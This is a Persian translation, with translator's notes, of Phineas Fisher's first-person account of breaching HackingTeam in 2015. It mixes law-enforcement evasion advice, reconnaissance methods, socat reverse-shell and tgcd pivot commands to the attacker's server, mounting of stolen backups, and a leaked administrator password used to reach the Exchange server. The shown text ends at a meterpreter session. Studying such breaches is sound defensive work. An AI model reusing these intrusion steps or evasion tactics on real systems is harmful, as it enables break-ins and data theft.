نگاره‌هایی پیرامون امنیت، شبکه و رمزنگاری

09 جولای 2020

مقدمه‌ی مترجم

یکی از راه‌های افزایش دانش و مهارت در زمینه‌های مختلف از جمله امنیت اطلاعات، مطالعه و بررسی رویداد‌های واقعی به عنوان نمونه است.

مطلب پیش رو ترجمه‌ای از گزارش یک حمله‌ی سایبری معروف است. در سال 2015 یک هکر با نام مستعار Phineas Fisher شرکت معروف هکینگ‌تیم مستقر در میلان ایتالیا را مورد نفوذ قرار داد و 400 گیگابایت اطلاعات از آن به دست آورد که نشان می‌داد این شرکت با بسیاری از دولت‌های ناقض حقوق بشر به ویژه در خاورمیانه، همکاری داشته است. اسناد افشاء‌شده در این حمله بر روی سایت ویکی‌لیکس بارگذاری شده است:

WikiLeaks – The Hackingteam Archives

Phineas Fisher پس از حمله و افشای اطلاعات، یک مقاله منتشر کرد که در مورد انگیزه خود، مراحل طی شده در حمله و جزئیات فنی آن توضیح داده است. اصل مقاله‌ی مذکور در آدرس زیر قابل دسترسی است:

https://www.exploit-db.com/papers/41915

این مقاله اگر چه با دید تهاجمی نوشته شده است اما به دلیل شرح خوب جزئیات فنی و علمی، منبعی خوب برای یادگیری نکات پیشگیرانه است. پیشاپیش لازم به ذکر است که این مطلب صرفاً ترجمه شده است و لزوماً بیانگر نظرات مترجم نیست. همچنین، نظرات شما در بهبود این مطلب بسیار ارزشمند است.

هشدار! این مطلب برای اهداف آموزشی تهیه شده است. مسئولیت سوء استفاده از آن بر عهده‌ی مخاطب است.

معرفی

دنیای انگلیسی‌زبان همواره کتاب‏‌ها، راهنمایی‏‌ها، گفتگو‌ها و اطلاعات مفید زیادی در مورد “هک کردن” داشته است. در این دنیا، هکر‌های زیادی وجود دارند که از من بهتر هستند. متأسفانه، این هکر‌ها از استعداد خود برای کار‌های “دفاعی” سوء استفاده می‌کنند. آن‌ها با پیمانکاران دفاعی و سازمان‏‌های اطلاعاتی همکاری می‌کنند، برای حفاظت از بانک‌ها و شرکت‌ها تلاش می‌کنند و سعی دارند که وضع موجود ادامه داشته باشد.

فرهنگ هکری در آمریکا به عنوان یک فرهنگ اعتراضی نسبت به موازین جامعه متولد شد، اما امروزه این فرهنگ در زادگاه خود، از ارزش‌های خود دور شده و تنها جنبه‌ی نمادین دارد. هکر‌های آمریکایی، تیشرت می‌پوشند، موی خود را آبی رنگ می‌کنند، از نام‌های مستعار هکری استفاده می‌کنند و فکر می‌کنند که نسبت به وضع موجود ناراضی و شورشی هستند در حالی که خود در خدمت این وضع قرار دارند!

قبلاً برای سرقت اسناد محرمانه شما مجبور بودید دزدکی وارد ادارات و سازمان‌ها شوید یا برای دزدیدن پول از بانک نیاز به یک اسلحه داشتید، اما امروزه همه چیز تغییر کرده است! برای انجام این کار‌ها، کافی است در تختخواب خود دراز بکشید و یک لپ تاپ در دستتان باشد.
درست همان طور که CNT بعد از هک گاما‎گروپ گفت:

بیایید با اشکال جدیدی از مبارزه به جلو قدم بگذاریم!

هک کردن یک ابزار قدرتمند است. بیاموزیم و مبارزه کنیم!

هکینگ‌تیم

هکینگ‌تیم یک شرکت امنیتی ایتالیایی مستقر در میلان است که به دولت‌‏ها برای هک و جاسوسی از روزنامه‌نگاران، فعالان مدنی، مخالفان سیاسی و سایر عوامل تهدید کننده‌ی قدرت کمک کرده است. هر از گاهی، این کمک برای شناسایی و کنترل مجرمان واقعی و تروریست‌ها بوده است. همچنین، این شرکت ادعا کرده است که راهکاری برای شناسایی هویت مجرم‏ان در شبکه‌ی تور و دارک‌نت پیدا کرده است. من در مورد موثر بودن راهکار آن‏‌ها شک دارم، چرا که هنوز آزادم و دستگیر نشده‌‏ام!

لینک‌های مرتبط:

http://www.animalpolitico.com/2015/07/el-gobierno-de-puebla-uso-el-software-de-hacking-team-para-espionaje-politico/
http://www.prensa.com/politica/claves-entender-Hacking-Team-Panama_0_4251324994.html
http://www.24-horas.mx/ecuador-espio-con-hacking-team-a-opositor-carlos-figueroa/
https://citizenlab.org/2012/10/backdoors-are-forever-hacking-team-and-the-targeting-of-dissent/
https://citizenlab.org/2014/02/hacking-team-targeting-ethiopian-journalists/
https://citizenlab.org/2015/03/hacking-team-reloaded-us-based-ethiopian-journalists-targeted-spyware/
http://focusecuador.net/2015/07/08/hacking-team-rodas-paez-tiban-torres-son-espiados-en-ecuador/
http://www.pri.org/stories/2015-07-08/these-ethiopian-journalists-exile-hacking-team-revelations-are-personal
https://theintercept.com/2015/07/07/leaked-documents-confirm-hacking-team-sells-spyware-repressive-countries/
http://www.wired.com/2013/06/spy-tool-sold-to-governments/
http://www.theregister.co.uk/2015/07/13/hacking_team_vietnam_apt/
http://www.ilmessaggero.it/primopiano/cronaca/yara_bossetti_hacking_team-1588888.html
http://motherboard.vice.com/en_ca/read/hacking-team-founder-hey-fbi-we-can-help-you-crack-the-dark-web

در امنیت باشیم

متأسفانه، دنیای ما دارد به عقب برمی‌گردد. شما با انجام دادن کار‌های بد ثروتمند می‏شوید، اما برای انجام دادن کار‌های خوب به زندان می‌روید. خوشبختانه، به دلیل تلاش‌های افراد سخت‌کوش مثل توسعه‌دهندگان پروژه‌ی تور می‌توانید با رعایت چند نکته‌ی احتیاطی به زندان نروید!

  1. هارد دیسک خود را رمزنگاری کنید، اگر پلیس برای ضبط کامپیوترتان وارد خانه‌ی شما شده است، معنی این موضوع این است که شما اشتباه‌های خیلی زیادی انجام داده اید و رهگیری شده اید! به هر حال بهتر است تا حد ممکن در امنیت باشید. با رمزنگاری کردن هارد دیسکتان کار پلیس برای جمع آوری ادله‌ی جرم بیشتر برای محکوم کردن شما سخت می‌شود.
  2. از یک ماشین مجازی که کل ترافیک آن از تور رد می‌شود استفاده کنید، این کار دو فایده دارد. اول، تمام ترافیک شما با استفاده از تور ناشناس باقی می‌ماند. دوم، جدا نگه داشتن زندگی شخصی شما و موارد مربوط به عملیات هک در دو فضای ایزوله باعث می‌شود که به طور اتفاقی آن‏‌ها را قاطی نکنید! برای این منظور می‌توانید از پروژه‌هایی مثل Whonix، Tails، Qubes TorVM یا یک چیز سفارشی استفاده کنید. مقایسه‌ی مفصل این پروژه‌ها در این صفحه موجود است.
  3. مستقیماً به تور وصل نشوید (اختیاری)، تور کاملاً بی عیب نیست. کارآگاهان جرایم سایبری می‌توانند زمان اتصال شما به شبکه‌ی تور را با زمان انجام عمل هک تطبیق داده و شما را شناسایی کنند. همچنین، حملات موفقیت آمیزی علیه تور در گذشته انجام شده است. دو راهکار برای امنیت بیشتر در این مورد وجود دارد:
     اول، شما می‌توانید با استفاده از شبکه‌ی Wifi دیگران به تور وصل شوید. توزیع لینوکس Wifislax دارای ابزار‌های زیادی برای حمله به شبکه‌های Wifi است.
    دومین راهکار، استفاده از یک نود ارتباطی یا VPN برای اتصال غیر‌مستقیم به تور است. این راهکار نسبت به راهکار اول امنیت کمتری دارد چرا که کارآگاهان هنوز می‌توانند زمان عملیات هک را با زمان اتصال اینترنت خانگی‌تان تطبیق دهند و شما را شناسایی کنند. این مسئله به عنوان مدرک جرم علیه جرمی هاموند استفاده شد. جرمی هاموند اندیشکده‌ی امنیتی استراتفور را در سال 2013 هک کرده و اطلاعات سرقت شده را در ویکی‌لیکس افشا کرد. او دستگیر و به 10 سال زندان محکوم شد.

مترجم: در مورد حملات انجام شده علیه تور، می‌توانید در صفحه‌ی زیر بیشتر بخوانید:

زیرساخت‌های حمله

من مستقیماً از طریق نود‌های خروجی شبکه تور حمله نمی‌کنم. این نود‌ها در لیست سیاه فایروال‏‌ها هستند، کند هستند و از آن‌ها برای دریافت کانکشن نمی‌توان استفاده کرد. شبکه‌ی تور به من کمک می‏‌کند که به طور ناشناس به زیرساخت‌های حمله متصل شده و عملیات نفوذ را انجام دهم. زیرساختی که من برای حمله استفاده می‌کنم شامل موارد زیر است:

  1. نام‌دامنه‌ها (Domain Names)
    برای فرماندهی و کنترل (C&C) و DNS Tunneling

    مترجم: در مورد DNS Tunneling می‌توانید در صفحه‌ی زیر بیشتر بخوانید:

  2. سرورهای پایدار
    برای استفاده به عنوان سرور فرماندهی و کنترل (C&C)، دریافت شل معکوس (Reverse shell)، اجرای حملات و ذخیره‌ی اطلاعات سرقت شده در حملات.
  3. سرورهای هک شده
    استفاده از آن‌ها در مسیر برای مخفی کردن آدرس IP سرورهای پایدار و برای زمانی که می‌خواهم اتصالات سریع داشته باشم. مثلاً برای اسکن پورت‌ها، اسکن کل اینترنت، دانلود یک دیتابیس با اکسپلویت آسیب‌پذیری SQL Injection و‌‎…

همچنین، بدیهی است که شما باید از یک روش پرداخت ناشناس استفاده کنید. استفاده از بیت کوین یکی از روش‌ها در این مورد است. (البته اگر با احتیاط استفاده شود.)

انتساب حملات

شما گاهی در اخبار می‌بینید که برخی حملات سایبری به گروه‌‏های هکری وابسته به دولت‏‌ها نسبت داده می‌شود. این گروه‌ها APT نامیده می‌شوند. علت این موضوع این است که آن‌ها از ابزار‌ها و تکنیک‌‏های مشابه بار‌ها استفاده می‌کنند، ردپا‌های مشابهی برجا می‌گذارند و حتی گاهی از زیرساخت‏‌های مشابه (سرور،آدرس ایمیل و …) برای حملات مختلف استفاده می‌کنند.

مترجم: فعالیت گروه‌های هکری دولتی در سال‌های اخیر افزایش یافته است و ردپای آن‌ها در بسیاری از حملات دیده می‌شود. به عنوان مثال، انتشار باج‌افزار WannaCry به گروه هکری وابسته به دولت کره‌ی شمالی منتسب شده است. این گروه با شناسه‌ی APT38 شناخته می‌شود. برای اطلاعات بیشتر در مورد سایر گروه‌های APT می‌توانید به صفحه‌ی زیر مراجعه کنید:

من نمی‌خواستم که با مرتبط کردن حمله به هکینگ‌تیم با سایر حملاتی که در گذشته انجام داده‌ام به پلیس در کشف سرنخ‌‏ها کمک کنم. برای جلوگیری از ایجاد ارتباط بین حمله به هکینگ‌تیم و حملات گذشته این کار‌ها را انجام دادم:

  • از نام مستعار هکری جدید استفاده کردم.
  • از سرور‌ها و دامنه‌‏های جدید ثبت شده با آدرس‏‌های ایمیل جدید برای حمله استفاده کردم.
  • برای پرداخت‌های مالی، از آدرس‌های جدید بیت کوین استفاده کردم.
  • فقط از ابزارهایی استفاده کردم که به طور عمومی در دسترس هستند و یا خودم آن‌ها را به خصوص برای این حمله ساختم.
  • روش انجام برخی کارها را تغییر دادم تا ردپایی از عادت‌های معمول خود برای جرم یابی باقی نگذارم.

مترجم: نکاتی که توسط مهاجم مطرح شده‌اند، مربوط به امنیت عملیات (OPSEC) می‌باشند. برای مطالعه‌ی بیشتر در این مورد می‌توانید به آدرس زیر مراجعه کنید:

همچنین، مقاله‌ی زیر به صورت اختصاصی در مورد “امنیت عملیات برای هکرها” تمرکز داشته است:

جمع‌آوری اطلاعات (Information Gathering)

اگر چه مرحله‌ی جمع‌آوری اطلاعات خسته کننده است، ولی این مرحله خیلی مهم است. هر چقدر دامنه‏‌ی اهداف در یک حمله بزرگتر باشد، پیدا کردن یک حفره یا ضعف امنیتی برای نفوذ آسان‌تر خواهد بود.

جمع‌آوری اطلاعات فنی

بعضی تکنیک‌ها و ابزار‌ها عبارت‌اند از:

  1. گوگل
    گوگل مهم‌ترین منبع برای جمع‌آوری اطلاعات در مورد اهداف است. بسیاری از اطلاعات مفید در مورد هدف حمله را می‌توان با چند کوئری جستجوی خوب پیدا کرد. به طور مثال، شناسایی هویت راس اولبریکت (با نام مستعار Dread Pirate Roberts) ادمین فروشگاه غیرقانونی جاده‌ی ابریشم در دارک‌وب، با استفاده از جستجوی گوگل صورت گرفته است. (منبع)

    مترجم: سرویس اطلاعاتی ایران در سال‌های 2009 تا 2013 با استفاده از جستجوی گوگل موفق به کشف سرنخ‌های شبکه‌ی ارتباطی جاسوسان CIA و شناسایی آن‎ها شد! منبع:

    معروف‌ترین کتاب در زمینه‌ی استفاده از گوگل برای تست نفوذ، کتاب Google Hacking for Penetration Testers می‌باشد.

  2. پیدا کردن زیردامنه‌ها (Subdomain Enumeration)
    غالباً وبسایت اصلی یک شرکت توسط یک طرف ثالث میزبانی می‌شود. شما می‌توانید بازه‌ی IP اختصاص یافته به شرکت هدف را پیدا کنید. برای این منظور زیردامنه‌هایی مثل mx.company.com و ns1.company.com نیز می‌توانند مفید باشند. همچنین گاهی در برخی زیردامنه‌های پنهان چیزهایی وجود دارد که در حالت عادی نباید از بیرون قابل دسترسی باشند.
    برخی ابزار‎های مفید برای یافتن دامنه‌ها و زیردامنه‌ها عبارت‌اند از: fierce ، theHarvester و recon-ng
  3. جستجوی اطلاعات Whois و جستجوی معکوس (reverse lookup)
    با جستجوی معکوس اطلاعات Whois یک دامنه یا IP range یک شرکت می‌توان سایر دامنه‌ها و بازه‌های IP آن را پیدا کرد. تا آن جایی که من می‌دانم، جز یک ترفند جستجوی گوگل راه رایگانی برای جستجوی معکوس وجود ندارد. با استفاده از این کوئری‌های گوگل می‎توان جستجوی معکوس انجام داد:

    Company name” site:domaintools.com”
    Company name” site:www.findip-address.com”

    کوئری‌های زیر مثالی از جستجوی معکوس با استفاده از گوگل برای پیدا کردن IP range شرکت via della moscova است:

    via della moscova 13″ site:www.findip-address.com”
       via della moscova 13″ site:domaintools.com”

  4. اسکن پورت‌ها (Port scanning) و انگشت‌نگاری (Fingerprinting)
    برخلاف تکنیک‌های قبلی، در این تکنیک‌ها مستقیماً با سرور‎های هدف ارتباط برقرار می‌شود. من این تکنیک‌ها را در این قسمت دسته‌بندی کردم، چرا که این یک حمله نیست و فقط برای جمع‌آوری اطلاعات در مورد هدف استفاده می‌شود. ممکن است سیستم IDS شرکت هدف به مدیر شبکه در این مورد هشدار دهد. جای نگرانی نیست، چرا که کل اینترنت به طور مداوم اسکن می‌شود.

    برای اسکن، ابزار nmap دقیق است و می‌تواند اکثر سرویس‌های پیدا شده را شناسایی و مشخص کند. برای شرکت‌هایی که IP range آن‎ها خیلی بزرگ است می‌توان از ابزار‎های zmap یا masscan استفاده کرد که سرعت بالایی دارند.

    ابزار‎های WhatWeb یا BlindElephant برای شناسایی و انگشت‌نگاری سرویس‌های وب استفاده می‌شوند.

جمع‌آوری اطلاعات اجتماعی

برای حملات مهندسی اجتماعی، داشتن اطلاعات در مورد کارکنان و سمت شغلی آن‌ها، اطلاعات تماس، سیستم عامل و نرم افزار‎های مورد استفاده و… سودمند است. برخی منابع برای جمع‌آوری این اطلاعات عبارت‌اند از:

  1. گوگل
    در این جا نیز گوگل مفیدترین ابزار برای پیدا کردن اطلاعات است.
  2. ابزار‎های theHarvester و recon-ng
    من این ابزار‎ها را در قسمت قبلی ذکر کردم اما این دو کاربرد بسیار بیشتری دارند. آن‌ها می‌توانند اطلاعات زیادی را به سرعت و خودکار پیدا کنند. ارزش دارد که تمام مستندات این ابزار‎ها را بخوانید.
  3. لینکدین
    می‌توان با استفاده از لینکدین اطلاعات زیادی را در مورد کارکنان شرکت هدف پیدا کرد. استخدام‌کنندگان شرکت به احتمال زیاد درخواست شما برای اتصال در لینکدین را قبول می‌کنند.
  4. Data.com
    اطلاعات تماس بسیاری از کارکنان در Data.com (قبلاً با نام jigsaw شناخته می‌شد) ثبت شده است.

    مترجم: سرویس Data.com در سال 2019 به کار خود پایان داد. می‌توانید از سرویس‌های مشابه دیگر استفاده کنید.

  5. اطلاعات Metadata در فایل‏‌ها
    اطلاعات بسیاری در مورد کارکنان و سیستم‏‌های مورد استفاده‌ی آن‌ها از متادیتای فایی‌هایی که شرکت به صورت عمومی منتشر کرده است قابل استخراج است. ابزار‎های مفید برای پیدا کردن فایل‌های روی وبسایت شرکت و استخراج اطلاعات متادیتا عبارت‌اند از metagoofil و FOCA

ورود به شبکه‌ی هدف

راه‌های مختلفی برای وارد شدن به شبکه‌ی هدف وجود دارند. من برای ورود به شبکه‌ی هکینگ‌تیم از یک روش غیر‎معمول استفاده کردم که نسبت به حالت معمول نیاز داشت که کار بیشتری انجام شود. دو روش معمول وجود دارند که امتحان کردن آن‌ها را در قدم اول توصیه می‌کنم:

  1. مهندسی اجتماعی
    امروزه اکثر حملات هکری با مهندسی اجتماعی، به خصوص فیشینگ هدفمند (spear phishing) صورت می‌گیرد. فیشینگ هدفمند یکی از انواع مختلف فیشینگ است که فرد یا گروه خاصی را مورد هدف قرار می‌دهد. برای اطلاعات بیشتر می‌توانید به قسمت Targeted Attacks در این مقاله مراجعه کنید.
    من فیشینگ هدفمند را علیه هکینگ‌تیم امتحان نکردم. اصلاً کار خود آن‌ها این است که به دولت‌ها کمک کنند که علیه مخالفان فیشینگ هدفمند انجام دهند. اگر تلاشی برای این نوع حمله انجام می‌شد به احتمال زیاد آن‌ها حمله را تشخیص داده و در مورد آن تحقیق می‌کردند.
  2. خریدن دسترسی
    با تشکر از روس‌های سخت‌کوش و اکسپلویت‌کیت‌های آن‌ها، فروشندگان ترافیک و مدیریت‌کنندگان بات‌نت‎ها، بسیاری از شرکت‌ها سیستم‌های آلوده دارند که در شبکه‌ای از سایر سیستم‌های آلوده توسط این مجرمان سایبری قابل کنترل از راه دور هستند. تقریبا همه‌ی 500 شرکت بزرگ آمریکایی با شبکه‌های بسیار بزرگشان تعدادی سیستم آلوده در این شبکه‌ی شیطانی دارند. در صورتی که این مجرمان در شرکت هدف شما دسترسی دارند می‌توانید با پرداخت هزینه دسترسی را از آن‌ها بخرید.
    هکینگ‌تیم یک شرکت بسیار کوچک است و بسیاری از کارمندان آن کارشناس امنیت اطلاعات هستند. بنابراین، احتمال خیلی کمی وجود داشت که آن‌ها سیستم آلوده داشته باشند.

جزئیات فنی اکسپلویت

پس از هک گاما‎گروپ، من یک پروسه برای پیدا کردن آسیب پذیری‌ها تعریف کردم. هکینگ‌تیم یک IP range عمومی داشت:

inetnum:        93.62.139.32 – 93.62.139.47
descr:          HT public subnet

هکینگ‌تیم به شکل خیلی محدود بر روی اینترنت قابل دسترسی بود. به طور مثال، بر خلاف گاما‎گروپ، مشتریان هکینگ‌تیم برای اتصال و دسترسی به سایت پشتیبانی باید یک گواهی SSL سمت کاربر نصب می‌کردند.

مترجم: برای اطلاعات بیشتر در مورد پروتکل SSL/TLS، می‌توانید به ویدیوی آموزشی زیر مراجعه کنید:

موارد زیر تمام چیزی بود که از هکینگ‌تیم به شکل عمومی در اینترنت قابل دسترسی بود:

  • وب سایت اصلی آن‏‌ها که از جوملا استفاده کرده بود. ابزار Joomscan هیچ آسیب‌پذیری یا ضعف جدی در آن پیدا نکرد.
  • یک سرور ایمیل Postfix
  • دو عدد دستگاه روتر
  • دو عدد دستگاه VPN
  • یک دستگاه فیلتر اسپم

بنابراین، من برای حمله سه گزینه داشتم:

  1. پیدا کردن آسیب‌پذیری روز صفر در جوملا
  2. پیدا کردن آسیب‌پذیری روز صفر در Postfix
  3. پیدا کردن آسیب‌پذیری روز صفر در یکی از دستگاه‌های امبدد (Embedded devices)

به نظر می‌رسید که پیدا کردن آسیب‌پذیری روز صفر در یکی از دستگاه‌ها راحت‌ترین گزینه باشد. بعد از دو هفته تلاش برای مهندسی معکوس دستگاه‌ها توانستم یک آسیب‌پذیری کشف و از آن برای اجرای کد از راه دور با دسترسی روت  (Remote root exploit) و گرفتن دسترسی بهره‌گیری کنم.

چون این آسیب‌پذیری هنوز برطرف نشده است، اطلاعات بیشتری در مورد آن ارائه نمی‌کنم اما برای خواندن در مورد کشف آسیب‌پذیری‌های مشابه می‌توانید به منابع زیر مراجعه کنید:

https://docs.google.com/presentation/d/1-mtBSka1ktdh8RHxo2Ft0oNNlIp7WmDA2z9zzHpon8A
http://www.devttys0.com

مترجم: بعداً مشخص شد مهاجم از آسیب‌پذیری Shellshock برای نفوذ به شبکه استفاده کرده است.

آماده‌سازی

من کار زیادی انجام دادم و بارها اکسپلویت را قبل از حمله به هکینگ‌تیم تست کردم. من یک سفت‌افزار (Firmware) آلوده ساختم و درون آن یک درب پشتی (Backdoor) قرار دادم. همچنین، ابزار‎های مختلفی را برای برای دستگاه هدف به منظور پسا‌‎بهره‌گیری (Post-exploitation) کامپایل کردم. استفاده از درب پشتی به منظور حفاظت از اکسپلویت و دسترسی صورت می‌گیرد. اگر از اکسپلویت فقط یک بار و برای گذاشتن درب پشتی استفاده شود، در آینده برای دسترسی مجدد از درب پشتی وارد سیستم می‌شویم و دیگر نیازی به اکسپلویت نیست. این کار شناسایی آسیب‌پذیری استفاده شده و برطرف کردن آن را سخت می‌کند.

ابزار‌هایی که من برای مرحله‌ی پسا‌بهره‌گیری آماده کردم:

  • busybox
    برای داشتن کلیه ابزار‎های استاندارد Unix که دستگاه هدف به صورت پیشفرض پشتیبانی نمی‌کرد.
  • nmap
    برای اسکن و بررسی سرویس‌های شبکه‌ی داخلی هکینگ‌تیم
  • Responder.py
    قدرتمند‎ترین ابزار برای حمله به شبکه‌های ویندوزی وقتی که شما به شبکه‌ی داخلی دسترسی دارید ولی کاربر دامنه  (domain user) نیستید.
  • Python
    برای اجرای Responder.py
  • tcpdump
    برای شنود ترافیک (Sniffing attack)
  • dsniff
    برای شنود پسورد‎ها از پروتکل‌های ناامن مثل http و ftp و برای عمل ARP Spoofing. من می‌خواستم از ابزار Ettercap که توسط خود اعضای هکینگ‌تیم نوشته شده استفاده کنم اما کامپایل آن برای دستگاه هدف دشوار بود.
  • socat
    از این ابزار برای سر و کار داشتن با شل معکوس با قابلیت پشتیبانی از ترمینال استفاده کردم. (PTY shell)

    my_server: socat file:`tty`,raw,echo=0 tcp-listen:my_port
    hacked box: socat exec:’bash -li’,pty,stderr,setsid,sigint,sane tcp:my_server:my_port

    این ابزار بسیار مفید است و برای کار با شبکه مثل چاقوی سوئیسی عمل می‌کند. توصیه می‌کنم قسمت مثال‌ها از مستندات این ابزار را بخوانید.
  • screen
    مثل پشتیبانی از ترمینال (PTY) برای شل معکوس، این مورد هم واقعاً لازم نیست. من می‌خواستم هنگام کار درون شبکه‌ی داخلی هکینگ‌تیم کاملاً راحت باشم.
  • SOCKS proxy server
    تا با استفاده از آن به همراه proxychains بتوانم به شبکه‌ی داخلی آن‌ها در هر نرم‌افزار دسترسی داشته باشم.
  • tgcd
    استفاده در Port forwarding برای سرور SOCKS از بین فایروال و موارد مشابه.

بد‎ترین اتفاقی که ممکن بود در مرحله‌ی پس از اکسپلویت کردن (Post-exploitation) رخ بدهد، این بود که درب پشتی و ابزار‎های من موجب بروز مشکل و ناپایداری در دستگاه هدف شوند و یکی از کارمندان شک کرده و موضوع را بررسی کند. برای جلوگیری از این موضوع، به مدت یک هفته اکسپلویت و ابزار‎هایی را که آماده کرده بودم بر روی سایر شرکت‌های آسیب‌پذیر تست کردم تا مطمئن شوم که مشکلی وجود ندارد.

در نهایت از اکسپلویت و ابزار‎هایم استفاده کردم و وارد شبکه‌ی داخلی هکینگ‌تیم شدم.

مترجم: معمولاً مهاجمان حرفه‌ای قبل از حملات هدفمند، در شرایط مختلف حمله را شبیه‌سازی می‎کنند تا احتمال موفقیت حمله را بالا ببرند.

تماشا کن و گوش بده!

وقتی وارد شبکه‌ی داخلی شدم، در قدم اول خواستم که نگاهی به اطراف بیاندازم و در مورد مرحله‌ی بعد تصمیم بگیرم. از اسکریپت Responder.py در حالت آنالیز استفاده کردم. (فلگ A برای گوش دادن بدون فرستادن پاسح‌های آلوده)

python Responder.py –A

همچنین با استفاده از nmap یک اسکن کند برای شناسایی شبکه انجام دادم.

پایگاه‌های داده‌ی NoSQL

NoSQL یا به اصطلاح من NoAuthentication (بدون احراز هویت!)  هدیه‌ی بزرگی به هکر‎ها بوده است. نگران بودم که هکینگ‌تیم همه‌ی آسیب‌پذیری‎های دور زدن احراز‎ هویت (authentication bypass) را در MySQL برطرف کرده باشد. درست همین زمان، سبک جدیدی از پایگاه‌های داده معمول شد که به صورت ذاتی فاقد فرایند احراز‎ هویت هستند.

Nmap چند پایگاه داده‌ی بدون احراز هویت در شبکه‌ی داخلی هکینگ‌تیم پیدا کرد:

27017/tcp open  mongodb MongoDB 2.6.5
| mongodb-databases:
|   ok = 1
|   totalSizeMb = 47547
|   totalSize = 49856643072

|_    version = 2.6.5
 
27017/tcp open  mongodb MongoDB 2.6.5
| mongodb-databases:
|   ok = 1
|   totalSizeMb = 31987
|   totalSize = 33540800512
|   databases

|_    version = 2.6.5

مترجم: یادی می‌کنیم از دیتابیس MongoDB تپسی که با احراز هویت پیشفرض بر روی اینترنت بود! منبع:

دیتابیس‌ها برای نمونه‌های تست RCS (یک نوع بدافزار برای کنترل از راه دور)  استفاده می‌شد. همچنین، با استفاده از قابلیت GridFS در MongoDB تعدادی فایل صوتی در دیتابیس ذخیره شده بود. اعضای هکنیگ تیم صدایشان را در دیتابیس ذخیره کرده بودند و بدون منظور خاصی از خودشان جاسوسی می‌کردند! پس از حمله، من فایل‌های صوتی ذخیره شده در دیتابیس را در تورنت منتشر کردم:

https://ht.transparencytoolkit.org/audio

کابل‌های متقاطع!

گوش دادن به فایل‌های صوتی و دید زدن وبکم اعضای هکینگ‌تیم در حال توسعه‌ی بدافزار سرگرمی جالبی بود ولی این اطلاعات خیلی مفید نبودند. من دنبال اطلاعات مهم‌تری می‌گشتم.

ذخیره‌ی ناامن فایل‌های پشتیبانی (Backup) نقطه‌ی ضعفی بود که درها را برای نفوذ بیشتر باز کرد. طبق فایل مستندات هکینگ‌تیم،  قرار بود دستگاه‌های iSCSI در یک شبکه‌ی داخلی جداگانه باشند ولی Nmap چند تا از آن‌ها را در زیرشبکه (subnetwork) با بازه‌ی 192.168.1.200/24 پیدا کرد:

Nmap scan report for ht-synology.hackingteam.local (192.168.200.66)

3260/tcp open  iscsi?
| iscsi-info:
|   Target: iqn.2000-01.com.synology:ht-synology.name
|     Address: 192.168.200.66:3260,0
|_    Authentication: No authentication required

 

Nmap scan report for synology-backup.hackingteam.local (192.168.200.72)

3260/tcp open  iscsi?
| iscsi-info:
|   Target: iqn.2000-01.com.synology:synology-backup.name
|     Address: 10.0.1.72:3260,0
|     Address: 192.168.200.72:3260,0
|_    Authentication: No authentication required

برای سر و کار داشتن با iSCSI از طریق دستگاه هک شده (Embedded device)، لازم بود که یک ماژول برای کرنل لینوکس نصب شود اما کامپایل ماژول برای این دستگاه خیلی سخت بود و از روش دیگری استفاده کردم. من پورت مربوط به سرور iSCSI در شبکه‌ی داخلی را فوروارد کردم تا بتوانم از VPS خودم که خارج از شبکه است به آن دسترسی داشته باشم.

VPS: tgcd -L -p 3260 -q 42838
Embedded system: tgcd -C -s 192.168.200.72:3260 -c VPS_IP:42838
VPS: iscsiadm -m discovery -t sendtargets -p 127.0.0.1

اما یک مشکل وجود داشت، iSCS  نام‌دامنه‌ی iqn.2000-01.com.synology را پیدا کرد ولی نتوانست عمل mounting را انجام دهد. علت مشکل این بود که iSCSI فکر می‎کرد آدرس آیپی آن به جای 127.0.0.1 برابر با 192.168.200.72 است. با دستور زیر مشکل حل شد:

iptables -t nat -A OUTPUT -d 192.168.200.72 -j DNAT –to-destination 127.0.0.1

و با دستور زیر:

iscsiadm -m node –targetname=iqn.2000-01.com.synology:synology-backup.name -p 192.168.200.72 –login

نام Hard drive‎ ها نشان داده شد. برای بررسی ابتدا عمل mount روی فایل درایو اصلی انجام شد:

vmfs-fuse -o ro /dev/sdb1 /mnt/tmp

در میان فایل‌های حاصل، فایل‌های پشتیبان مربوط به ماشین‌های مجازی (VM) مختلف را پیدا کردم. فایل مربوط به Exchange server جذاب‌ترین مورد بود. این فایل حجم زیادی داشت و دانلود آن سخت بود پس آن را برای جستجوی فایل‌های جذاب mount کردم.

losetup /dev/loop0 Exchange.hackingteam.com-flat.vmdk $
fdisk -l /dev/loop0 $
/dev/loop0p1            2048 1258287103 629142528    7 HPFS/NTFS/exFAT

so the offset is 2048 * 512 = 1048576
losetup -o 1048576 /dev/loop1 /dev/loop0 $
mount -o ro /dev/loop1 /mnt/exchange/ $

اکنون در آدرس:

/mnt/exchange/WindowsImageBackup/EXCHANGE/Backup 2014-10-14 172311/

هارد دیسک ماشین مجازی نمایش داده می‌شود. هارد دیسک را mount کردم:

vdfuse -r -t VHD -f f0f78089-d28a-11e2-a92c-005056996a44.vhd /mnt/vhd-disk/
mount -o loop /mnt/vhd-disk/Partition1 /mnt/part1

و در نهایت می‌شود فایل‌های مربوط به Exchange server قدیمی را در آدرس:

mnt/part1/

پیدا کرد.

از فایل‌های پشتیبان تا ادمین دامنه

مهم‌ترین موضوع برای من این بود که بتوانم در فایل‌های پشتیبان رمز عبور یا مقدار hash پیدا کنم و با آن بتوانم به سرورها وارد شوم.

من از ابزار‎های pwdump ، cachedump و از ابزار lsadump برای بررسی رجیستری ویندوز استفاده کردم. ابزار lsadump پسورد حساب کاربری besadmin را پیدا کرد:

_SC_BlackBerry MDS Connection Service
0000   16 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    …………….
0010   62 00 65 00 73 00 33 00 32 00 36 00 37 00 38 00    b.e.s.3.2.6.7.8.
0020   21 00 21 00 21 00 00 00 00 00 00 00 00 00 00 00    !.!.!………..

از ابزار proxychains به همراه سرور SOCKS proxy و ابزار smbclient استفاده کردم تا بررسی کنم که نام کاربری و پسورد هنوز معتبر هستند یا نه:

proxychains smbclient ‘//192.168.100.51/c$’ -U ‘hackingteam.local/besadmin%bes32678!!!’

نام کاربری besadmin و پسورد پیدا شده معتبر بودند و من توانستم وارد Exchange server شوم. این نام کاربری یک ادمین محلی بود. پس از ورود به سرور، با استفاده از ماژول psexec_psh در متاسپلویت و سرور proxy SOCKS یک نشست meterpreter برای هندل دسترسی ایجاد کردم  و به یک پروسس 64 بیت مهاجرت کردم. (process migration)

مترجم: مهاجرت به یک پروسس دیگر به منظور پنهان کاری، تغییر معماری از x86 به x64 و موارد مشابه انجام می‌شود.

